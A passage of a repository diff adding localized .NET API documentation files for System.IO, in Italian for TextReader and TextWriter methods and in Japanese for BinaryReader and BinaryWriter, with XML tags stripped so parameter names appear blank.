specificato di caratteri dal lettore di testo corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, questo parametro contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + -1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 2 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal lettore di testo e restituisce i dati come stringa. + Riga successiva dal lettore oppure null se tutti i caratteri sono stati letti. + Si è verificato un errore di I/O. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + La classe è chiusa. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge una riga di caratteri in modo asincrono e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di testo oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Stringa contenente tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo. + Si è verificato un errore di I/O. + La classe è chiusa. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità del lettore di testo. + Il numero di caratteri è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Rappresenta un writer in grado di scrivere una serie sequenziale di caratteri.Questa classe è astratta. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il provider di formato specificato. + Oggetto che controlla la formattazione. + + + Archivia i caratteri di nuova riga usati per questo TextWriter. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Se sottoposto a override in una classe derivata, restituisce la codifica caratteri in cui viene scritto l'output. + Codifica caratteri in cui viene scritto l'output. + 1 + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il writer di testo viene eliminato. + Il writer è attualmente utilizzato da un'operazione di scrittura precedente. + + + Ottiene un oggetto che controlla la formattazione. + Oggetto per impostazioni cultura specifiche oppure la formattazione delle impostazioni cultura correnti se non sono specificate altre impostazioni cultura. + 2 + + + Recupera o imposta la stringa di terminazione di riga usata dall'oggetto TextWriter corrente. + Stringa di terminazione di riga relativa all'oggetto TextWriter corrente. + 2 + + + Fornisce un oggetto TextWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore Boolean. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nella stringa o flusso di testo. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri nella stringa o flusso di testo. + Matrice di caratteri da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri nel flusso o nella stringa di testo. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore decimale. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 8 byte. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte con segno. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte con segno. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un oggetto chiamando il metodo ToString su tale oggetto. + Oggetto da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 4 byte. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa nella stringa o nel flusso di testo. + Stringa da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + + o è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte senza segno. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte senza segno. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una matrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se è null, non viene scritta alcuna voce. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso o nella stringa di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore Boolean, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nella stringa o nel flusso di testo un carattere seguito da un terminatore di riga. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + Posizione del carattere in dalla quale avviare la lettura dei dati. + Numero massimo di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore decimale, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 8 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 4 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un oggetto chiamando il metodo ToString sull'oggetto, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Oggetto da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 4 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Stringa da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + Viene passato un oggetto o una stringa come null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive la rappresentazione in forma di testo di un intero a 4 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un terminatore di riga in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono un carattere seguito da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se la matrice di caratteri è null, viene scritto solo il terminatore di riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/ja/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/ja/System.IO.xml new file mode 100644 index 0000000..d62c1fb --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/ja/System.IO.xml @@ -0,0 +1,2264 @@ + + + + System.IO + + + + プリミティブ データ型を特定のエンコーディングのバイナリ値として読み取ります。 + 2 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + 使用する文字エンコーディング。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + は null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 入力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + または が null です。 + + + + の基になるストリームへのアクセスを公開します。 + BinaryReader に関連付けられた、基になるストリーム。 + 2 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 指定したバイト数分だけストリームから読み取ったバイトを内部バッファーに格納します。 + 読み取るバイト数。 + + 分のバイトを読み取る前にストリームの末尾に到達しました。 + I/O エラーが発生しました。 + 要求された が、内部バッファー サイズより大きくなっています。 + + + 読み取り可能な次の文字を返します。バイトの位置または文字の位置は変化しません。 + 使用できる次の文字。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 現在の文字は、ストリーム用に選択された を使用して内部文字バッファーにデコードできません。 + 2 + + + 基になるストリームから文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 入力ストリームの次の文字。現在読み取り可能な文字がない場合は -1。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + バイト配列内の指定された位置を開始点として、ストリームから指定されたバイト数を読み取ります。 + + に読み取るバイト数。要求したバイト数分のバイトを読み取れなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取るバイト数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 文字配列内の指定された位置を開始点として、ストリームから指定された文字数を読み取ります。 + バッファーに読み取られた合計文字数。要求した文字数分の文字を読み取れなかった場合、この値は要求した文字数より小さくなります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取る文字の数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 32 ビット整数を圧縮形式で読み取ります。 + 圧縮形式の 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + ストリームが破損しています。 + + + 現在のストリームから Boolean 値を読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 読み取ったバイトが 0 以外の場合は true。0 の場合は false。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから次のバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った次のバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから指定されたバイト数をバイト配列に読み取り、そのバイト数だけストリーム内の現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されているバイト配列。ストリームの末尾に到達した場合は要求したバイト数より小さくなることがあります。 + 読み取るバイト数。この値は 0 以上の数字の必要があり、それ以外の場合は例外が発生します。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + が負の値です。 + 2 + + + 現在のストリームの次の文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 現在のストリームから読み取った文字。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + サロゲート文字が読み取られました。 + 2 + + + 現在のストリームから指定された文字数を読み取り、そのデータを文字配列として返します。また、使用した Encoding とストリームから読み取った特定の文字に従って現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されている文字配列。ストリームの末尾に到達した場合は、要求された文字数より小さくなることがあります。 + 読み取る文字の数。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + + が負の値です。 + 2 + + + 現在のストリームから 10 進数値を読み取り、ストリームの現在位置を 16 バイトだけ進めます。 + 現在のストリームから読み取った 10 進数値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト浮動小数点値を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 2 バイト符号付き整数を読み取り、ストリームの現在位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号付き整数を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号付き整数を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから符号付きバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った符号付きバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト浮動小数点値を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 1 つの文字列を読み取ります。ストリームの文字列は、7 ビットごとにエンコードされた文字列の長さが先頭に付加されています。 + 読み取った文字列。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + リトル エンディアン エンコーディングを使用して現在のストリームから 2 バイト符号なし整数を読み取り、ストリームの位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号なし整数を読み取り、ストリームの位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号なし整数を読み取り、ストリームの位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号なし整数。 + ストリームの末尾に到達しました。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + プリミティブ型をバイナリでストリームに書き込みます。特定のエンコーディングの文字列の書き込みをサポートします。 + 2 + + + ストリームへの書き込みを行う クラスの新しいインスタンスを初期化します。 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + は null なので、 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + 使用する文字エンコーディング。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 出力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + + の基になるストリームを取得します。 + BinaryWriter に関連付けられた、基になるストリーム。 + 1 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + バッキング ストアを持たない を指定します。 + 1 + + + 基になるストリームを保持します。 + + + 現在のストリーム内の位置を設定します。 + 現在のストリームの位置。 + + からのバイト オフセット。 + 新しい位置を取得するための参照ポイントを示す フィールド。 + ファイル ポインターが無効な位置に移動しました。 + + 値が無効です。 + 1 + + + 現在のストリームに 1 バイト Boolean 値を書き込みます。値 0 は false を表し、値 1 は true を表します。 + 書き込む Boolean 値 (0 または 1)。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号なしバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号なしバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 基になるストリームにバイト配列を書き込みます。 + 書き込むデータが格納されているバイト配列。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は null なので、 + 1 + + + 現在のストリームにバイト配列の特定の領域を書き込みます。 + 書き込むデータが格納されているバイト配列。 + + 内の書き込み開始点。 + 書き込むバイト数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに Unicode 文字を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む非サロゲート Unicode 文字。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は、単一のサロゲート文字です。 + 1 + + + 現在のストリームに文字配列を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + は null なので、 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームに文字配列の特定の領域を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + 内の書き込み開始点。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 10 進数値を書き込み、ストリームの位置を 16 バイトだけ進めます。 + 書き込む 10 進値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト浮動小数点値を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト浮動小数点値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号付き整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号付き整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号付き整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号付きバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号付きバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト浮動小数点値を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト浮動小数点値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 文字長プリフィックスを持つ文字列を、 の現在のエンコーディングでこのストリームに書き込み、使用したエンコーディングとストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む値。 + I/O エラーが発生しました。 + + は null なので、 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号なし整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号なし整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号なし整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 